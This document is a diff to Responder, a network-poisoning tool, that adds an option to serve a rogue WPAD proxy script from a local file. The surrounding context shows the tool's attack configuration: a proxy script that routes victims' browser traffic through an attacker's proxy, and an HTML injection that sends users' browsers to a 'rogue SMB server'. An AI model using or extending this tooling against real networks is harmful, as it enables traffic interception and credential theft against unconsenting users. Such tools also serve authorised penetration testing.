Responder patch to serve wpad.dat from file

responder-wpad-file-patch

diff --git a/Responder.conf b/Responder.conf
index 4303df6..0d32158 100644
--- a/Responder.conf
+++ b/Responder.conf
@@ -78,6 +78,8 @@ ExeDownloadName = ProxyClient.exe
 ; Custom WPAD Script
 WPADScript = function FindProxyForURL(url, host){if ((host == "localhost") || shExpMatch(host, "localhost.*") ||(host == "127.0.0.1") || isPlainHostName(host)) return "DIRECT"; if (dnsDomainIs(host, "RespProxySrv")||shExpMatch(host, "(*.RespProxySrv|RespProxySrv)")) return "DIRECT"; return 'PROXY ISAProxySrv:3141; DIRECT';}
 
+WPADScriptFile = /tmp/wpad3.dat
+
 ; HTML answer to inject in HTTP responses (before </body> tag).
 ; Set to an empty string to disable.
 ; In this example, we redirect make users' browsers issue a request to our rogue SMB server.
diff --git a/servers/HTTP.py b/servers/HTTP.py
index 96b3aaf..adde4eb 100644
--- a/servers/HTTP.py
+++ b/servers/HTTP.py
@@ -108,11 +108,21 @@ def GrabReferer(data, host):
 def WpadCustom(data, client):
 	Wpad = re.search(r'(/wpad.dat|/*\.pac)', data)
 	if Wpad:
-		Buffer = WPADScript(Payload=settings.Config.WPAD_Script)
+		Buffer = WPADScript(Payload=(WpadCustomFile() or settings.Config.WPAD_Script))
 		Buffer.calculate()
 		return str(Buffer)
 	return False
 
+def WpadCustomFile():
+        data = None
+        if os.path.isfile(settings.Config.WPAD_Script_File):
+                print text("[HTTP] Serving custom WPAD from file: %s" % (settings.Config.WPAD_Script_File))
+
+                f = open(settings.Config.WPAD_Script_File, 'r')
+                data = f.read()
+                f.close()
+        return data
+
 def ServeFile(Filename):
 	with open (Filename, "rb") as bk:
 		return bk.read()
diff --git a/settings.py b/settings.py
index 5d8e22a..2bc59ea 100644
--- a/settings.py
+++ b/settings.py
@@ -127,6 +127,7 @@ class Settings:
 		self.Exe_Filename     = config.get('HTTP Server', 'ExeFilename')
 		self.Exe_DlName       = config.get('HTTP Server', 'ExeDownloadName')
 		self.WPAD_Script      = config.get('HTTP Server', 'WPADScript')
+               self.WPAD_Script_File = config.get('HTTP Server', 'WPADScriptFile')
 		self.HtmlToInject     = config.get('HTTP Server', 'HtmlToInject')
 
 		if not os.path.exists(self.Html_Filename):